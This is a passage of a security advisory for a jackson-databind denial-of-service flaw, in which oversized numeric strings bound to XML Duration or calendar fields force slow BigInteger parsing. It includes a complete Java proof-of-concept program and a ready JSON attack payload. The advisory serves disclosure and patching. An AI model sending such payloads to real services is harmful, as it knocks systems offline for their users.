jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

Story map

Why it is Amber

• CVSS 7.5 high
• Public exploit or proof of concept referenced
• Remotely exploitable without logging in
• On your watchlist: Maven

Affected packages

References

• https://github.com/advisories/GHSA-q4xh-88c3-wmh7
• https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-q4xh-88c3-wmh7
• https://nvd.nist.gov/vuln/detail/CVE-2026-68497
• https://github.com/FasterXML/jackson-databind/pull/6127
• https://github.com/FasterXML/jackson-databind/commit/a99b7e74c8928f43f6975773a8c862c8316178bd
• https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10
• https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6
• https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2
• https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6
• https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2

Original description

### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be bui